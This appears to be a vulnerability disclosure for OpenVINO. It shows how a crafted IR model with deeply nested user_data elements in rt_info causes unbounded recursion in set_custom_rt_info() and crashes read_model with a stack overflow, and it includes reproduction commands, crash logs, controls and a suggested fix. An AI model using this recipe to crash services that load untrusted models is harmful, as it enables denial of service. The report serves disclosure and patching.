EnigmaConsultant's picture
Add OpenVINO IR <user_data> rt_info unbounded-recursion stack-overflow PoC (private, gated)
6d0621d verified
|
Raw
History Blame Contribute Delete
6.67 kB

OpenVINO IR rt_info <user_data> deserialization: unbounded recursion β†’ native stack overflow (SIGSEGV DoS) in read_model

Summary

ov::Core().read_model() can be crashed (SIGSEGV, process-fatal denial of service) by loading a crafted, otherwise-valid OpenVINO IR (.xml) model. The IR deserializer recurses once per nesting level of <user_data name="..."> elements inside any layer's <rt_info>, with no recursion-depth limit. A deeply nested <user_data> chain exhausts the calling thread's native C++ stack and crashes the process before any graph/shape validation runs.

  • Target: OpenVINO β€” IR (v11) XML front-end / model deserializer
  • Affected component: src/core/xml_util/src/xml_deserialize_util.cpp, function set_custom_rt_info()
  • Verified on: openvino 2026.2.1 (pip wheel, CPU), version string 2026.2.1-21919-ede283a88e3-releases/2026/2, Linux x86-64, default 8 MB thread stack
  • Impact: Denial of service (native stack-overflow SIGSEGV) triggered purely by loading an attacker-supplied model file. No ASan build required to observe the crash.
  • Attack surface: Any application that calls read_model / compile_model on an untrusted IR file (model zoos, model-conversion services, CI that loads third-party models, etc.).

Root cause

set_custom_rt_info() iterates a node's <rt_info> children. For each child named user_data that has a name attribute but no value attribute, it recurses into that element's own children to build a nested AnyMap:

// src/core/xml_util/src/xml_deserialize_util.cpp
void set_custom_rt_info(const pugi::xml_node& rt_attrs, ov::AnyMap& rt_info, bool prefix_needed = true) {
    constexpr std::string_view rt_info_user_data_tag{"user_data"};
    std::string custom_name, custom_value;
    for (const auto& item : rt_attrs) {
        if (std::strcmp(item.name(), rt_info_user_data_tag.data()) == 0) {
            if (getStrAttribute(item, "name", custom_name)) {
                const auto name = std::string{prefix_needed ? rt_info_user_data_tag : ""} + custom_name;
                if (getStrAttribute(item, "value", custom_value)) {
                    rt_info.emplace(name, custom_value);            // non-recursive branch (has value=)
                } else {
                    rt_info.erase(name);
                    if (auto map_elem = rt_info.emplace(name, ov::AnyMap{}); map_elem.second) {
                        auto& nested_map = map_elem.first->second.as<ov::AnyMap>();
                        set_custom_rt_info(item, nested_map, false); // <-- UNBOUNDED RECURSION (line ~147)
                    }
                }
            }
        }
    }
}

Every nesting level of <user_data name="a"> ... </user_data> (with no value attribute) drives one additional native C++ stack frame during deserialization, called from the layer-rt_info parse path (set_custom_rt_info(rt_attrs, rt_info);). There is no depth cap, so a sufficiently deep chain exhausts the thread stack and the process dies with SIGSEGV.

This path is distinct from the previously reported If/Loop nested-subgraph parse_function recursion:

  • Different function (set_custom_rt_info, not parse_function).
  • Different subsystem (metadata/rt_info parsing, not control-flow subgraph parsing).
  • No control-flow ops required β€” any ordinary node's <rt_info> suffices (here a plain ReLU).

Proof of concept

Generator: gen_rtinfo_recursion.py emits a minimal valid IR (Parameter β†’ ReLU β†’ Result) whose ReLU layer carries an <rt_info> containing N nested <user_data name="a"> elements (each with no value attribute, so the recursive branch is taken every level).

python3 gen_rtinfo_recursion.py 20000 poc.xml     # writes poc.xml + empty poc.bin
python -c "import openvino as ov; ov.Core().read_model('poc.xml')"   # SIGSEGV

Self-contained repro files included: selfpoc.xml / selfpoc.bin (depth 20000, crashes), selfctrl.xml / selfctrl.bin (depth 1000, loads OK). Also ud_20000.xml, ud_1000.xml, ud_50000.xml, and the two negative controls ctrl_zzz.xml, ctrl_udval.xml.

Captured evidence (verbatim)

Primary repro, faulthandler shows the crash inside read_model:

$ ./venv/bin/python -X faulthandler -c "import openvino as ov; print('OV',ov.__version__); ov.Core().read_model('ud_20000.xml'); print('NOCRASH')"
OV 2026.2.1-21919-ede283a88e3-releases/2026/2
Fatal Python error: Segmentation fault

Current thread 0x00007f885a7d2200 (most recent call first):
  File ".../openvino/_ov_api.py", line 601 in read_model
  File "<string>", line 1 in <module>
Extension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)
RC=139

Depth threshold (default 8 MB stack)

depth result
1000 / 5000 / 10000 LOADED OK (rc=0)
20000 / 50000 / 200000 / 500000 SIGSEGV (rc=139)

Reproducibility

ud_20000.xml crashes 3/3 fresh processes: run1 rc=139 / run2 rc=139 / run3 rc=139.

Negative control 1 β€” isolates pugixml (not deep-XML parsing)

ctrl_zzz.xml = same depth (50000) but nested non-user_data tags (<zzz>...): β†’ LOADED_OK (rc=0). Proves the crash is not generic deep-XML/pugixml parsing but the user_data recursion specifically.

Negative control 2 β€” isolates the recursive branch

ctrl_udval.xml = 50000 nested <user_data name="a" value="v"> (with value attribute, which takes the non-recursive emplace branch): β†’ LOADED_OK (rc=0). Proves it is the value-less recursive branch, not user_data nesting per se.

Stack-size scaling β€” definitive stack-overflow signature

ud_50000.xml:

  • default 8 MB stack β†’ SIGSEGV (rc=139)
  • ulimit -s 65536 (64 MB stack) β†’ LOADED_OK (rc=0)

The crash threshold moves with available stack β†’ call-stack exhaustion, not heap/data corruption.

Dedup / prior-art note

  • Distinct from OpenVINO's If/Loop nested-subgraph parse_function unbounded-recursion issue (different function, different subsystem, and this one needs no control-flow ops).
  • No public CVE was found for set_custom_rt_info / rt_info user_data recursion at time of writing.
  • The generic class (missing recursion-depth limit in a recursive-descent model parser) is a known memory-safety pattern; this report identifies a specific, independently reachable instance in the rt_info metadata path.

Suggested fix

Add an explicit recursion-depth limit (or convert to an explicit work-stack with a cap) in set_custom_rt_info(), rejecting the model with a clear error once a reasonable nesting depth is exceeded.